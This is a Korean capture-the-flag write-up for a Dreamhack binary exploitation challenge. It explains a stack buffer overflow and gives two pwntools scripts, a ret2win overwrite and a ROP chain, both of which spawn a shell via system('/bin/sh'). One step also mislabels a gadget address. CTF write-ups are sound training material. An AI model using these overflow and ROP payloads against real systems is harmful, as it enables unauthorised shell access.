main
함수에서 호출하는 함수중 하나이다
닉값한다
buf[16]
에 0x100
만큼 넉넉히 입력을 받으니 BOF
가 터진다
원래 인텐은 키 비교하고 이렇게 하는건데 언인텐 풀이가 존재한다!
BOF
터지고 get_flag
함수 있고, 너무나도 친절하게도 system('/bin/sh')
을 호출해준다
0x00. rao
걍 rao
를 해주면 된다
BOF
를 터트리고 get_flag
함수 위에 뭐 자잘한게 많은데 걍 바로 return system("/bin/sh");
주소를 걍 때려넣으면 된다
0x01. R.O.P.
걍 쌩으로 ROP
를 조져놓으면 된다
system
있고, /bin/sh
있고, pop rdi
있으면 다 해줬잖아
0x00. rao
ida
에서 얍 하고 보면 get_flag
함수의 system("/bin/sh");
호출 부분이다
/bin/sh
을 넣어서 실행하는 주소가 0x40143C
부분이니깐
buf (16바이트)
|SFP (8바이트)
|get_shell 주소
로 페이로드를 구상하면 된다
b"A"*(0x10+0x8) + p64(get_shell)
from pwn import *
p = process("./chall")
#p = remote("host3.dreamhack.games", [port])
get_shell = 0x000000000040143C
payload = b"A"*(0x10+0x8) + p64(get_shell)
print(payload)
p.sendlineafter(b"Input: ", payload)
p.interactive()
여기서 get_shell
주소를 잘못 알고 있어서 2시간을 태웠다
하하
0x01. ROP
ret
, pop rdi
, system
, /bin/sh
를 찾아주면 된다
pie
없으니 바로 주소 넣어주면 된다
1. ret
가젯 ROPgadget --binary ./chall | grep "ret"
pop_rdi = 0x0000000000401565
2. system
함수 주소e = ELF("./chall")
system = e.symbols['system']
3. /bin/sh
주소bin_sh = 0x4020c4
4. pop rdi
주소 ROPgadget --binary ./chall | grep "pop rdi"
pop_rdi = 0x0000000000401565
from pwn import *
#p = process("./chall")
p = remote("host3.dreamhack.games", [port])
e = ELF("./chall")
pop_rdi = 0x0000000000401565
system = e.symbols['system']
bin_sh = 0x4020c4
ret = 0x000000000040101a
payload = b"A"*(0x10+0x8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
p.sendline(payload)
p.interactive()
rao
를 할때 system
함수 주로를 이상한거 끌고 와서 2시간 삽질했다
pwngdb
로 동적분석을 하는 방법을 연습해야겠다는 생각이 들었다
ROP
로 하면 바로 풀리니깐 신기했다
언인텐이라 쉬웠지, 인텐으로는 풀 수 있을까라는 생각이 들었다
삽질한 시간이 너무 아까운 문제였다